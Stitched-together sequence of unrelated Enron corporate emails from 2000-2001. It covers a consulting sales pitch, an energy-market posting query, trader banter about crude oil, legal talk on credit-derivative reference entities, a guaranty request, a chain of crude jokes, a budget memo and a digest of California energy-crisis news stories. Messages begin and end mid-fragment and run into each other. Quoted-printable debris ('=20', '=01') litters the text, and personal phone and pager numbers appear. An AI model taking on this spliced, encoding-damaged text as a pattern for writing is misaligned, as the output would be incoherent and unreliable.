(and higher in many 	cases)to any Big 5 Consulting firm.

	2.3.  INDIAN E-BIZ CONSULTING MARKET WORTH $136 M.: V&D

	TechSpan tops the Big Six list of e-biz consultants in India with
total business worth $67 million, followed by 	Planetasia and MindTree. The
study has identified pricing as the one big advantage enjoyed by Indian pure
play 	Internet Professional Services companies.

     	http://ciol.com/content/news/repts/101020511.asp?nl=ctd-mar5

	2.4  Inc. Magazine and Cisco Systems Name TechSpan, Inc., Finalist
at Growing with Technology Awards Ceremony

      http://www.techspan.com/news/prcisco.html

	2.5.  TechSpan Ranked on Sm@rtReseller's Smart 100 Companies List

      http://www.techspan.com/news/prsmartreseller.html

In summary, we are a young company (two years in operations) with high
ambitions and clearly articulated vision of being a leader in the e-commerce
consulting space. We have achieved major milestones in being a $ 67.0
Million company within 2 years, largely due to the confidence exhibited by
our customers and partners. Though the above are some achievements in the
past (giving you a base comfort factor on our long term stability), we are
keen in discussing what value we could bring to Enron, now and in the
future.

Thks,

Arvind

Arvind Ramanathan
TechSpan Inc.

----- Forwarded by Jeff Dasovich/NA/Enron on 06/01/2001 01:29 PM -----

	Dave Perrino@ECT
	06/01/2001 10:58 AM
		 
		 cc: 
		 Subject: RE: Posting question

---------------------- Forwarded by Dave Perrino/SF/ECT on 06/01/2001 08:58 

"Almeida, Keoni" <KAlmeida@caiso.com> on 05/31/2001 09:42:43 AM
To: "'Dave.Perrino@enron.com'" <Dave.Perrino@enron.com>
cc:  

Subject: RE: Posting question

Button number 17 at http://www.caiso.com/marketops/OASIS/pubmkt2.html.  

Keoni Almeida 
California Independent System Operator 
phone: 916/608-7053
pager:  916/814-7352 
alpha page:  9169812000.1151268@pagenet.net
e-mail:  <mailto:kalmeida@caiso.com>
  
From: Dave.Perrino@enron.com [mailto:Dave.Perrino@enron.com]
Sent: Thursday, May 31, 2001 7:48 AM
To: KAlmeida@caiso.com
Subject: Posting question

Keoni,

Can you please let me know where the Market Clearing Auction prices are
posted for the real-time auction relating to the recent FERC Order
EL00-95-012?

Thanks,

Dave

 <http://rs6.net/on.jsp?t=1010964589736.1010945481275&o=http://ccprod.roving.com/roving/images/p1x1.gif>We welcome you to download <http://www.pmaconference.com/PMAPE3.18.pdf> a free trial issue of New Power Executive, the market's leading weekly on market intel, trend analysis, and a host of strategic issues and ideas of direct importance to your planning and business development process. 

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These free issues have no obligation, but, if you choose to formally subscribe during this trial, you can do so for a very special PMA rate -- save $150 off the regular rate! See the last page for details. 

This email was sent to shelley.corman@enron.com, by PowerMarketers.com <http://rs6.net/tn.jsp?t=if85crn6.8rwxqqn6.9arrsqn6&p=http%3A%2F%2Fwww.PowerMarketers.com>. 

Powered by 

Rick, I attach a followup to the EPower regulatory review - a 6 month=20
implementation program which focuses on gaining transmission access and=20
streamlining the permitting process. The program provides for periodic=20
reality checks, the first of which will occur at the end of the third quart=
er.

<<EPower Implementation Plan.doc>> =01;

Pls confirm that you have received your new WCom calling card.   Thank you.

Carolyn Graham
Enron NetWorks LLC
Vendor Management
713-345-8008

huh?
From: 	Fraser, Jennifer  
Sent:	Thursday, September 13, 2001 11:19 AM
Subject:	RE: crude buying

how does nymex work?

Sent:	Thursday, September 13, 2001 11:11 AM
To:	Fraser, Jennifer

all I hear is that all the funds are going to get squeezed as soon as the nymex opens.  fuck, i don't know, but I'm not going get long crude hoping to squeeze the funds.  lost that game too many times.

Sent:	Thursday, September 13, 2001 11:04 AM
Subject:	crude buying

nice move--stats will be very very bullish---especially padd I and II--expect big draws.
jf

Mark/Bryan

Based on our meeting with Sullivan & Cromwell, a few points occur to me 
(these may well be in the "obvious" category!)

we generally don't need to worry at all about non-energy reference credits, 
since we won't have any confidential info about them (this group will over 
time become the vast majority)
there are (as I understand it) about 200 energy reference credits we are 
looking at and this class (unlike the non-energy credits) is unlikely to grow 
substantially
of the 200 energy credits, a number should be definite "ins" (eg the high 
profile, big players with whom we don't have a special relationship) and a 
number will be "outs" (ie where the relationship is much too close to risk 
quoting on them) 
perhaps we could initially launch the product with the "ins" and, over time, 
add the residual category who get the all clear.

I agree that evaluating our relationships with individual reference entities 
may be tricky and time consuming.  Perhaps the best place to start might be 
with the business person who has overall responsibility for the relationship 
in question and should have a view on the nature of the relationship and 
whether we have any info about the entity which is sensitive.  It may well be 
that we have confidentiality agreements in place, but not much confidential 
info passing under them.

Grateful for any views on this.

Paul

To: Bryan Seyfried/LON/ECT@ECT
cc: Mark E Haedicke/HOU/ECT@ECT, Louise Kitchen/LON/ECT@ECT, Paul 
Simons/LON/ECT@ECT 

Subject: Re: Consent  

Apparently there was some miscommunication.  It was very clear to me after 
our meeting in Louise's office that with respect to proposed Reference 
Entities with which Enron has an existing business relationship you were 
going to add the consent to the notice letter.  It was that consent that was 
to dramatically speed up the process of determining which Reference Entities 
could be listed.  As we discussed last week, without that consent each 
proposed Reference Entity must be evaluated separately regarding whether or 
not a confidentiality agreement is in place and whether or not the existing 
business relationship is extensive enough to require consent.  Neither of 
these evaluations will be easy or quick.  While Enron North America has been 
reasonably good about compiling lists of confidentiality agreements, it is by 
no means clear that all other Enron entities have done so.  We have not yet 
determined a process for evaluating the extent of the existing business 
relationships with our customers but that process will necessarily require 
significant amounts of legal and commercial time at a high enough level to 
make important judgment calls.

My impression was that you were willing to add the consents to the notice 
letters since in one fell swoop it resolved a difficult legal issue and moved 
your earliest possible launch date forward by weeks if not months but also on 
the assumption that if a customer was not willing to give us their consent we 
should not be taking the commercial risk that it was precisely those 
customers whose relationships would be jeopardized by proceeding to use them 
as a Reference Entity.

We will now move forward to develop the processes necessary to conduct the 
evaluations mentioned above.  Please send the list of proposed Reference 
Entities as soon as possible.

Bryan Seyfried
01/19/2000 06:35 AM
To: Mark Taylor/HOU/ECT@ECT, Louise Kitchen/LON/ECT@ECT
cc: Paul Simons/LON/ECT@ECT 
Subject: Consent

Just to clarify, we do not intend to ask for consent from every reference 
credit, we do intend to send introductory letters to the relevant parties at 
the initial set of reference credits which notifies them of our intentions 
and why it is good for them.  My hope is that there are very few reference 
credits that we need to get consent from and then we can make the commercial 
decision of whether it is better to get consent or not quote on them.  

As an initial step, I think we need to understand which reference credits 
have confidentiality agreements in place and determine those names that we 
have a potential fiduciary responsibility.  The latter obviously will not be 
black and white but hopefully we can make some progress.  I would expect that 
are really deep relationships are likely to be with either really small 
counterparties or a very small subset of our large counterparties.

Hopefully I am restating what everyone already thought but if not apologies 
for the miscommunication.

Call me if you want to discuss further.

bs

Dear Mark Taylor,

Just a reminder that your current Reliant Energy Entex statement is ready
for you to review at https://ebill.reliantenergy.com/logon/  You can pay
it immediately or schedule payment for a later date.  As with paper bills
your payment is due about 2 weeks from the statement date. If you

http://www.reliantenergy.com/logon/  log into eBill and select User

through the Contact Us section of the site. Note too, our Frequently Asked
Questions section.

Sara,
I have spoken to Chris Glaas who is the trader in London who deals with 
Morgan. MS believe that there is a Master ISDA in place with ENA so he will 
speak to them and clarify the position.
I will let you know what they say.

Treasa

 Attached for your approval is the form of Enron Corp. Guaranty in favor of=
=20
the referenced Counterparty, which guarantees the obligations of ENA under=
=20
an  ISDA Master Agreement.  This Counterparty is an affiliate of the utilit=
y=20
for the Province of Quebec, Hydro-Quebec.  We will need the standard execut=
ed=20
copy.

 Per my voicemail, we will need the executed guaranty by Tuesday, October 2=
4,=20
2000.  Please let me know if this presents any problem.

 In addition, we will need the following closing documents:  (i) Certificat=
e=20
of Incumbency, (ii) certified board resolutions of the Policy for Approval =
of=20
Guarantees (=01&Policy=018), (iii) certificate by the Treasurer or other au=
thorized=20
officer certifying coverage of the Guaranty under the Policy, and (iv)=20
certified copy of Enron Corp.=01,s articles of incorporation and bylaws.

 Upon approval and execution, please call me at x33399 to pick up the=20
documents.  Thank you for your assistance in this matter.

The Ninth Circuit Court of Appeals has scheduled an oral argument on Monday 
12:00 CST on our request for a stay of the district court's order granting 
the Universities' motion for a preliminary injunction.  The argument will be 
by telephone, and will be heard by a three-judge panel.  Mike Smith, Dennis 
Benevides, and I will be with counsel during the argument.  Please contact me 
with any questions (ext. 646-6412; cell 281-414-0364).     

From: Lankford, Glenn  [mailto:Glenn.Lankford@natoil.com]
Sent: Tuesday, November 27, 2001  3:43 PM
To: Larry Barnhill (E-mail); Buxton, Dana; Cheatwood, Brenda;  Larry Childs (E-mail); Earsom, Roger; Mike Griffith; Jefferson, Joy; Alice  Lankford (E-mail); Davin Lankford (E-mail); Kevin Strabala (E-mail); Dan Taylor  (E-mail)
 
Glenn  Lankford
 
-----Original  Message-----
From: Jackie  Larson [mailto:jlarson@dxpe.com]
Sent: Tuesday, November 27, 2001 3:37  PM
To: Lankford, Glenn; R  Garcia (E-mail); SHAWNA TURNER (E-mail); Kelly Terry
 
 -----Original  Message-----
From:   Travis  Eaton  
Sent:  Tuesday, November 27,  2001 3:10 PM
To:    Brandi Combs; Jackie  Larson; David Willits; Talisha R. Tieaskie; linda bassett; Anna  Rowland
Subject:       FW:  
I know you have read  the first one but read the rest.
Travis  Eaton
Service  manager
DXP/Oklahoma City,  OK
1401 SE  29th
Oklahoma City,  Oklahoma 73129
800-767-4276
405-672-8139  Fax
VISIT DXP's   eCommerce SITE AT:http://www.dxpe.com   
For Bearings &  Power Transmission equipment,Janitorial Supplies,and Office Supplies!!  
 Coming online  soon... Safety Supplies.
                                                                                                                    
Ever notice how a 4  year old's voice is louder than 200 adult  voices?
Several years ago, I returned home  from a trip just when a storm hit
with crashing thunder and severe lightning.  As I came into my bedroom
about 2 a.m., I found my two children in bed with  my wife, Karey,
apparently scared by the loud storm. I resigned myself to  sleep in the
guest bedroom that night. The next day, I talked to the  children, and
explained that it was O.K. to sleep with Mom when the storm was  bad, but
when I was expected home, please don't sleep with Mom that night.  They
said ok. After my next trip several weeks later, Karey and the  children
picked me up in the terminal at the appointed time. Since the plane  was
late, everyone had come into the terminal to wait for my  plane's
arrival, along with hundreds of other folks waiting for their  arriving
passengers. As I entered the waiting area, my son saw me, and came  running
shouting, "Hi, Dad! I've got some good news!" As I waved back, I  said
loudly, "What's the good news?" "Nobody slept with Mommy while you were  away
this time!" Alex shouted. The
airport became very quiet, as everyone  in the waiting area looked at
Alex, then turned to me, and then searched the  rest of the area to see
if they could figure out exactly who his Mom  was.
An acquaintance of mine who is a  physician told this story about her
then 4 yr. old daughter. On the way to  preschool, the doctor had left
her stethoscope on the car seat, and her  little girl picked it up and
began playing with it. 'Be still, my heart,'  thought my friend, 'my daughter
wants to follow in my footsteps!'
Then the  child spoke into the instrument: "Welcome to McDonald's. May I
take your  order?"
A certain little girl, when asked her name,  would reply, "I'm Mr.
Sugarbrown's daughter." Her mother told her this was  wrong, she must
say, "I'm Jane Sugarbrown." The pastor spoke to her in Sunday  School,
and said, "Aren't you Mr. Sugarbrown's daughter?" She replied,  "I
thought I was, but mother says I'm not."
A Sunday  school teacher asked her little children, as they were on the
way to church  service, "And why is it necessary to be quiet in church?"
One bright little  girl replied,"Because people are sleeping."
At the  beginning of a children's sermon, one girl came up to the altar
wearing a  beautiful dress. As the children were sitting down around the
pastor, he  leaned over and said to the girl, "That is a very pretty
dress. Is it your  Easter dress?" The girl replied almost directly into
the pastor's clip-on  mike, "Yes, and
my Mom says it's a bitch to  iron."
And my personal favorite --- A little girl goes  to the barber shop with
her father. She stands next to the barber chair,  while her dad gets his
hair cut, eating a snack cake. The barber says to her,  "Sweetheart,
you're gonna get hair on your Twinkie." She says, "Yes, I know,  and I'm
gonna get boobs too."
RFC822  header
-----------------------------------
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22:18:21  -0600

The 2002 Enron Net Works budget will for the first time combine allocations to business units for four key services:  Enron Online, IT Infrastructure, Risk Management Operations and IT Maintenance and Development.  We are providing a level of detail for expense and capital spend that is greater than that provided in past years, and that will allow business units to make informed choices regarding the services that they receive.  

We are meeting with individual business unit Offices of the Chair to review in detail the four service areas delivered through Enron Net Works.  Some of these meetings have been completed and more will occur between now and October 12.  Please keep the following points in mind as we work with you to finalize budget:

Enron Networks today is very different from this time last year.  Additions to the 2002 ENW budget are Operations for EA, EIM and EGM.  Operations, IT Maintenance and Development, and IT Infrastructure for EES and EBS have been included under the ENW umbrella for the first time in the  2002  budget as well.  The 2001 budgets for these functions were approved and included in individual business units last year.   Any comparison of ENW's 2002 versus 2001 budget must be appropriately adjusted for these organizational changes to be relevant.  

For further detail for each business unit, ENW's 2002 expense and capital dollars are organized to mirror each business unit's lines of business (products or commodities) in order to create a transparent view at a more granular level of the costs involved in supporting each of the lines of business.  

The detail that is being provided to business units for IT costs delineates licensing fees, system maintenance costs and new development costs.  Detail on each IT development project identifies the purpose, business sponsor, line of business, "in progress" or "planned" designation, expense and capital spend, system impacted, and estimated completion date.   In order to finalize IT project budgets, decisions will be required from the business units on which projects to undertake in 2002.   

If you have questions about the ENW budgets as we are working with you to finalize them,  please call one of us.  

Greg Piper
Sally Beck
Mark Pickering  

Sac Bee, Thurs, 5/10:  "PUC sweats $4.8 billion rate raise"

Sac Bee, Thurs, 5/10:  "PG&E wants panel to get boot"

Sac Bee, Thurs, 5/10:  "Major job losses predicted; governor presses=20
generators"

Sac Bee, Thurs, 5/10:  "Bond-sale bill goes to Davis "

Sac Bee, Thurs, 5/10:  "State revenue outlook shrinks "

SD Union, Thurs, 5/10:  "No blackouts despite dip in supplies"

SD Union (AP), Wed, 5/9:  "Biggest users face huge rate hikes under PUC pla=
n"

LA Times, Thurs, 5/10:  "Rate Hikes Up to 60" Proposed by PUC Chief"

LA Times, Thurs, 5/10:  "Bush Energy Stance Begins to Worry Some in GOP"

LA Times, Thurs, 5/10:  "In Office Buildings, the Lights Are On, But Nobody=
's=20
Home"

LA Times, Thurs, 5/10:  "Power Shifts to Congress"   (Commentary)

SF Chron, Thurs, 5/10:  "Proud state forced to knees in power hunt"=20

SF Chron, Thurs, 5/10:  "Power bills set to skyrocket for heavy users=20
Graduated rate increase would take effect in June "

SF Chron (AP), Thurs, 5/10:  "Developments in California's energy crisis "

SF Chron (AP), Thurs, 5/10:  "PG&E says fewer small power plants offline "

SF Chron (AP), Thurs, 5/10: "A look at two rate designs before power=20
regulators"

SF Chron, Thurs, 5/10:  "Lights stay on despite failure of big plant"=20

SF Chron, Thurs, 5/10:  "PG&E fights consumer committee=20
Obstruction feared in bankruptcy case "

SF Chron, Thurs, 5/10:  "Generators silent on Davis plan=20
He offers lower compensation to stave off Edison bankruptcy "

Mercury News, Thurs, 5/10:  "Rate plans shield most households"

Mercury News, Thurs, 5/10:  "Energy bond plan gets final legislative OK,=20
faces delay"

Mercury News, Thurs, 5/10:  "Fusion research gets a boost"

OC Register, Thurs, 5/10:  "Power is Money
PUC details plan to raise Edison rates up to 34%. Half of users to see no=
=20
hike"

OC Register, Thurs, 5/10:  "Economic crisis in forecast"

OC Register, Thurs, 5/10:  "GOP stalls sale of bonds with vote"

OC Register, Thurs, 5/10:  "Electricity notebook
Davis asks power suppliers to accept 30% less than owed"

OC Register, Thurs, 5/10:  "Regulators says more electricity rate hikes are=
=20
likely"

OC Register, Thurs, 5/10:  "Starting all over again
The Legislature's special session on the power crisis ends today -- with mo=
re
work to do at an added cost"

OC Register, Thurs, 5/10:  "Davis is set to sign a $13.4 billion bond-issue=
=20
measure
today to cover electricity costs"

OC Register, Thurs, 5/10: "Papering over state electricity problems"

Individual.com (AP), Thurs, 5/10:  "Task Force To Propose Legislation"

Individual.com (AP), Thurs, 5/10:  "Stage 2 Electrical Emergency Declaratio=
n;
SCE to Curtail 'Load' for Some Customers"

Individual.com (Bridgenews), Thurs, 5/10:  "[B] FULL/ Pacific Gas & Electri=
c=20
restores all Qualifying=20
Facilities --Pacific Gas & Electric says 8 of 300 QFs still shut down"=20

---

PUC sweats $4.8 billion rate raise
(Published May 10, 2001)=20
Big industries' electric bills would leap 50 percent or more and household=
=20
bills would rise an average of 11 percent to 17 percent under two proposals=
=20
outlined by state regulators Wednesday for revamping electric rates.=20
The twin proposals are efforts by Loretta Lynch, president of the state=20
Public Utilities Commission, and Christine Walwyn, a PUC administrative=20
judge, to decide how to divide the burden of a $4.8 billion rate hike.=20
"Both of them are just going to be very, very hard on business," said Bill=
=20
Booth, an attorney for the California Large Energy Consumers Association. H=
e=20
said it appeared that some cement and steel makers could face 90 percent ra=
te=20
hikes.=20
But small consumers were equally dismayed.=20
"This never should have happened in the first place," said Bob Finkelstein,=
=20
an attorney with The Utility Reform Network, placing the blame for soaring=
=20
rates on electric deregulation.=20
"In terms of allocating the fallout from the failed experiment, they seemed=
=20
to do a reasonable job. But it assumes that the fallout should be allocated=
=20
in the first place, and that just sticks in our craw," he said.=20
Several PUC commissioners have said they want to select a new rate design a=
t=20
a special meeting Monday, so the higher electric bills can begin going out=
=20
June 1 to customers of Pacific Gas and Electric Co. and Southern California=
=20
Edison.=20
One version before the PUC would include Lynch's call to begin looking for=
=20
ways to charge federal installations power rates that are tied to wildly=20
gyrating wholesale costs.=20
Reportedly first floated as a joke, the idea quickly took hold within the=
=20
PUC. Lynch said she wants to set it up as "pilot program," perhaps beginnin=
g=20
in mid-summer, so the federal government can test its own theories about=20
unfettered market prices being good for consumers.=20
"I don't believe it's a dig at the FERC (Federal Energy Regulatory=20
Commission)," she said during a news conference.=20
But she repeated her attack on federal regulators, saying electric rates ar=
e=20
rising in California only because the FERC has refused to cap runaway=20
wholesale electric prices.=20
Commissioner Richard Bilas later called a special federal rate "silly" and=
=20
"kindergartenish," and said the proposal was clearly intended "just to get=
=20
back at the federal government."=20
Any of the five appointed commissioners can offer an alternate version of t=
he=20
rate design, as Lynch did. The alternates will be considered alongside the=
=20
proposal by Walwyn, the judge who presided over lengthy hearings on how the=
=20
new rates should be crafted.=20
She recommended increases that would fall slightly more softly on residenti=
al=20
customers -- averaging 11 percent for Edison and 15 percent for PG&E -- and=
=20
more heavily on large industrial users, averaging 52 percent for Edison and=
=20
55 percent for PG&E.=20
But within those averages could be much higher individual increases, and=20
advocates for everyone from farmers to manufacturers waited anxiously=20
throughout the day for detailed tables that would list rates for dozens of=
=20
customer categories.=20
"I have got my expert economist standing by to look at the numbers when the=
y=20
come out," said Ron Liebert, associate counsel for the California Farm Bure=
au=20
Federation.=20
The release of the rate proposal has been delayed repeatedly as the PUC tri=
ed=20
to cram work that usually takes months into just a few weeks, and many of i=
ts=20
details remained obscure late Wednesday, dismaying those who are still=20
arguing for changes.=20
"We have to file comments on this by Friday. What they're doing is, they're=
=20
shutting down the comment period," said Jack Stewart, president of the=20
California Manufacturers & Technology Association.=20
He said it appears that some rates could nearly double, and "that's just a=
=20
death knell for many California manufacturers."=20
Lynch provided only sketchy summaries of her ideas, saying she wanted to=20
raise residential rates 16 percent for Edison and 17 percent for PG&E on=20
average, raise industrial rates 50 percent to 52 percent and cap agricultur=
al=20
rate increases on a sliding scale from 23 percent to 30 percent, partly at=
=20
Gov. Gray Davis' urging.=20
She said that about half of households statewide would see no increase unde=
r=20
a state law that protects those who use less than 130 percent of a "baselin=
e"=20
amount. However, PG&E has calculated that far more households -- 69 percent=
=20
-- use more than the baseline at some point during the year.=20
PG&E's baseline varies by region and season but generally runs between 300=
=20
and 400 kilowatt-hours, or about 50 percent to 60 percent of average=20
electricity use per household. It was created to give people access to a=20
minimal amount of power at a lower rate.=20
The heaviest household users still would see no increase on their first few=
=20
hundred kilowatt-hours, but after that prices would rise sharply, in tiers,=
=20
so that some households could see their overall bills rise 34 percent or=20
more.=20
Lynch and Walwyn also have proposed "bill limiters" so that businesses with=
=20
unusual usage patterns won't get hammered by unintended rate spikes.=20
The increases will not affect customers of the Sacramento Municipal Utility=
=20
District, which recently approved its own hikes, averaging 22 percent, and=
=20
other ratepayer-owned utilities.=20

The Bee's Carrie Peyton can be reached at (916) 321-1086 or=20
cpeyton@sacbee.com.=20

PG&E wants panel to get boot
SAN FRANCISCO -- Pacific Gas and Electric Co. on Wednesday asked a judge to=
=20
disband an unprecedented committee of ratepayers appointed last week to=20
represent consumers in the utility's bankruptcy case, saying that some in t=
he=20
group were politically biased.=20
The utility filed a motion arguing that U.S. Bankruptcy trustee Linda Ekstr=
om=20
Stanley exceeded her legal authority by designating a consumers committee=
=20
armed with broad powers to investigate and negotiate alongside the utility=
=20
and its creditors.=20
The utility denounced the committee as a collection of "special interest"=
=20
groups with "well-known political and policy agendas" and a "history of=20
aggressive lobbying and litigation."=20
The PG&E motion, which was set for a hearing May 18 before Bankruptcy Judge=
=20
Dennis Montali, warned that turning the consumer committee loose could=20
"substantially retard the progress of this case and seriously prejudice its=
=20
outcome."=20
On Friday, PG&E singled out Consumers Union and The Utility Reform Network =
as=20
"well-organized lobbyists and political operatives."=20
Consumers Union regional chief Harry Snyder, a committee member, said he=20
would have no comment. TURN's representative to the committee, Nettie Hoge,=
=20
did not respond to a request for comment.=20
In appointing the ratepayers committee last week, Stanley, who is=20
administering the bankruptcy proceedings, said she was bringing it into the=
=20
case because the state, which ordinarily would represent the public, has=20
chosen to stay out.=20
Stanley chose the nine committee members to represent a mix of energy=20
consumers -- households, businesses, farms and government. In addition to=
=20
Consumers Union and TURN, the groups include the California Farm Bureau, th=
e=20
California School Boards Association and the California Manufacturers &=20
Technology Association.=20
If Montali upholds Stanley's action, PG&E must pay for the committee's=20
lawyers, accountants and other consultants to analyze data and present=20
arguments in the bankruptcy proceedings from the consumer's perspective.=20
"They (will) have all of the information that's going on," said Judy Beckne=
r=20
Sloan, a bankruptcy expert at Southwestern Law School, who speculated that=
=20
PG&E was balking at the committee's potential power and its costs to the=20
bankruptcy estate.=20
"The creditors and PG&E are opposed to their presence because to the extent=
=20
the judge heeds the consumers' concerns, he's going to be less aggressive=
=20
about raising rates," said Jesse Fried, a law professor at the University o=
f=20
California, Berkeley.=20
While Fried said Stanley's decision was defensible because the judge "is=20
supposed to take into account the wider interests of society," Los Angeles=
=20
bankruptcy lawyer Richard Levin sided with PG&E. Only the state should have=
=20
been allowed to represent consumers, Levin said, and its decision not to do=
=20
so should be final.=20

ccooper@sacbee.com.=20

Major job losses predicted; governor presses generators
By Dale Kasler, Ed Fletcher and Emily Bazar
As a private consultant predicted the state will lose 135,000 jobs from a=
=20
summer of blackouts, Gov. Gray Davis on Wednesday pressed power generators =
to=20
forgo 30 percent of their California earnings to help pull the state out of=
=20
the energy crisis.=20
Summoning executives of the companies he has repeatedly accused of price=20
gouging, Davis said the generators probably would have to forgive a portion=
=20
of the debt they're owed by California's two destitute utilities to win the=
=20
Legislature's approval for his controversial plan to repay the debts and=20
rescue the utilities.=20
"I suggest that they should look to (accept) 70 percent of what they claim=
=20
they were owed," Davis said after a four-hour meeting in the Capitol. "I fe=
lt=20
the Legislature will insist on a reduction."=20
Although Davis said, "I believe they are willing to take some reduction," a=
t=20
least one generator, Reliant Energy Inc., immediately dismissed the=20
governor's proposal.=20
The meeting capped a roller-coaster day in which anti-generator protesters=
=20
brought a pig to the Capitol and the state narrowly averted a third straigh=
t=20
day of rolling blackouts. But while enough megawatts were found to scrape b=
y=20
for a day, the state is surely facing a summer of severe shortages.=20
A study, commissioned by some of the state's most influential business=20
lobbyists and partly funded by Intel Corp., predicted chronic blackouts wil=
l=20
mean significant economic harm to California.=20
The study by John Urbanchuck of New Jersey-based AUS Consultants said the=
=20
blackouts would erase 135,000 jobs and cause $26 billion in economic=20
devastation.=20
Several California economists said the prediction was overblown, but none=
=20
doubted the electricity crisis could significantly harm the state's busines=
s=20
climate.=20
"It really depends on how severe the blackouts are," said UCLA economist=20
Chris Thornberg. "If we have 30 straight days of blackouts in June ... you'=
re=20
going to end up with a mess."=20
Everything else being equal, the loss of 135,000 jobs would raise=20
California's unemployment rate by 0.7 percent, to 5.4 percent, based on the=
=20
latest numbers from the Employment Development Department.=20
Ted Gibson, chief economist with the state Department of Finance, said AUS'=
=20
estimates seem high.=20
"It'd be hard for me to think those relatively limited, one-hour-at-a-time=
=20
(blackouts) would have such an impact," Gibson said.=20
As it is, the blackouts have struck some of California's most important=20
employers, such as Sun Microsystems Inc. and Advanced Micro Devices.=20
Tuesday's blackout hit Apple Computer Inc.'s lone U.S. factory, in Elk Grov=
e.=20
Economic development agencies from other states have stepped up recruiting=
=20
efforts in California, hoping to capitalize on the state's misfortunes. A f=
ew=20
glass manufacturers have moved production, said Jack Stewart, president of=
=20
the California Manufacturers & Technology Association.=20
It could get worse. For example, a leading Silicon Valley electronics=20
manufacturer, Solectron Corp. of Milpitas, said it is seriously considering=
=20
pulling some of its operations out of California.=20
"The blackouts and the lack of reliable power are our biggest concerns," sa=
id=20
Solectron spokesman Bob Kula. "We have the ability to move (production)=20
quickly."=20
Solectron, whose factories were hit with blackouts in January and March,=20
employs 4,000 workers in Northern California.=20
A top state official said business leaders around the country look at the=
=20
electricity crisis as emblematic of a state that's becoming iffy as a place=
=20
to do business.=20
"The whole question of how did the state allow it to get this far -- I keep=
=20
hearing that from Wall Street, I keep hearing that from the business=20
community," said the official, who asked to remain anonymous. "The last yea=
r=20
has demonstrated that the risks of doing business in California are much=20
higher than anywhere else in the United States."=20
The state was spared a third day of blackouts Wednesday when cooler, windie=
r=20
weather in the late afternoon produced a spurt of wind-generated electricit=
y=20
and a much-needed drop in demand. Throw in an unexpected power purchase fro=
m=20
the Pacific Northwest, and the state's fragile power grid suddenly had 1,40=
0=20
megawatts it wasn't expecting, more than enough to compensate for a breakdo=
wn=20
of a major Bay Area power plant in early afternoon.=20
Another boost: Pacific Gas and Electric Co. said all but a handful of its=
=20
alternative-energy suppliers have resumed production. These suppliers,=20
responsible for a fourth of the state's energy supply, have been closed for=
=20
weeks because of nonpayment by PG&E and Southern California Edison. The two=
=20
stricken utilities are paying them again.=20
But while blackouts were unlikely today, there were no guarantees.=20
"We're not swimming in megawatts," said spokeswoman Stephanie McCorkle of t=
he=20
Independent System Operator, which runs the state's power grid.=20
Representatives from a dozen wholesale power generators -- 10 in person and=
=20
two by phone -- attended the Capitol summit.=20
Despite months of verbal potshots between Davis and the generators, the=20
meeting was described as cordial by John Stout, senior vice president of=20
Houston-based Reliant.=20
But Davis also said he told the executives that unless they accept a=20
reduction in payment for back debts, the Legislature is likely to reject hi=
s=20
plan to buy the utilities' transmission lines -- a key element of his plan =
to=20
pay back billions the utilities owe them.=20
If the plan goes through, the generators can get paid this year, Davis said=
.=20
If it's killed, they'll probably have to wait three or four years to get=20
their money in Bankruptcy Court.=20
So far only Edison has agreed to sell its lines to the state. Senate=20
President Pro Tem John Burton, D-San Francisco, said Wednesday that the=20
Edison deal will be rejected unless the generators forgive some debts.=20
"I'm going to insist that they take at least a 30 percent haircut on the=20
monies that they're owed," Burton said earlier.=20

m.=20
Bee Staff Writer Kevin Yamamura contributed to this report.=20

Bond-sale bill goes to Davis=20

The state Senate sent legislation to Gov. Gray Davis on Wednesday authorizi=
ng=20
the largest revenue bond sale in U.S. history over continued Republican=20
opposition.=20
The bill, SB 31x, would allow California to sell $13.4 billion in bonds,=20
starting in August, to repay the state for past and future power purchases.=
=20
Davis is expected to sign the bill today.=20
Because the bill failed to receive the two-thirds majority needed for an=20
urgency measure, however, the bonds can't be sold until 90 days after the e=
nd=20
of the Legislature's special session.=20
Lawmakers are expected to end the session Monday, and most of the 200 pendi=
ng=20
energy bills already introduced will be reborn in a second energy session,=
=20
said Senate President Pro Tem John Burton, D-San Francisco.=20
SB 31x passed on a 23-12 vote, with most Democrats supporting the measure a=
nd=20
all Republicans opposing it. Sen. Joe Dunn, D-Garden Grove, was the only=20
Democrat to vote against it.=20
Republicans proposed that the state use the surplus to write off $6 billion=
=20
that California has spent on electricity since mid-January. But Democrats=
=20
said the state needs to replenish those funds to support other state progra=
ms=20
in education, transportation and health care.=20
Treasurer Phil Angelides had pursued a bridge loan of $4.13 billion to=20
bolster the state's budget and ensure that non-energy programs remain funde=
d.=20
But when Assembly Republicans assailed the immediate bond sale, the=20
short-term loan was lost.=20
Zane Mann, editor of the California Municipal Bond Advisor, said the delay =
in=20
the bond sale "casts a cloud" over the project but won't kill it. It will=
=20
probably lead to a higher interest rate, which will add to the ratepayers'=
=20
costs, he said.=20
-- Kevin Yamamura and Dale Kasler=20

State revenue outlook shrinks=20
By John Hill
Legislative Analyst Elizabeth Hill dropped a budget bombshell Wednesday,=20
reporting to legislators that state revenues will be $3.4 billion lower tha=
n=20
Gov. Gray Davis predicted in his January budget proposal.=20
Instead of enjoying a $1.9 billion reserve, the Davis budget plan for the=
=20
fiscal year beginning July 1 would now leave the state $1.5 billion in the=
=20
hole, Hill wrote in a letter to legislators overseeing the budget.=20
Dwindling revenue from a faltering economy leaves Davis' plan in need of=20
major revisions. The new revenue estimates would require cuts in one-time=
=20
expenditures that Davis proposed for programs such as clean beaches and=20
fiscal relief for local governments. Cuts also may have to be made in new=
=20
spending contemplated for education, which got most of the new money in the=
=20
$104.7 billion January budget proposal.=20
"The number is so deep that it's going to be hard for us not to contemplate=
=20
cuts or make cuts," said Assemblyman Tony C?rdenas, D-Sylmar, vice chairman=
=20
of the Joint Legislative Budget Committee. "We don't know where those cuts=
=20
are going to come from."=20
Little will be immune, said Dan Howle, chief of staff for Sen. Steve Peace,=
=20
D-El Cajon, chairman of the Joint Legislative Budget Committee.=20
"It's going to include programs the governor is very supportive of and woul=
d=20
like to get done, but we're in a little bit of a cash crunch here, and you'=
ve=20
got to do what you've got to do," he said.=20
"If anything's got a protective fence around it, it's education. But I stil=
l=20
think it'll have to take a share of the cuts."=20
These grim budget figures don't take into account possible hits on the budg=
et=20
caused by the state's breathtaking expenditures on electricity.=20
Those effects could be negligible if the state is able to sell bonds to pay=
=20
for power and replenish the treasury. But considering recent events in the=
=20
volatile energy crisis, no assumption is safe.=20
The budget crunch will likely highlight conflicting spending priorities and=
=20
could lead to more polarization between Democrats and Republicans who have=
=20
been squabbling over the energy crisis.=20
"A third of the Assembly has never done a budget," Howle said. "Another thi=
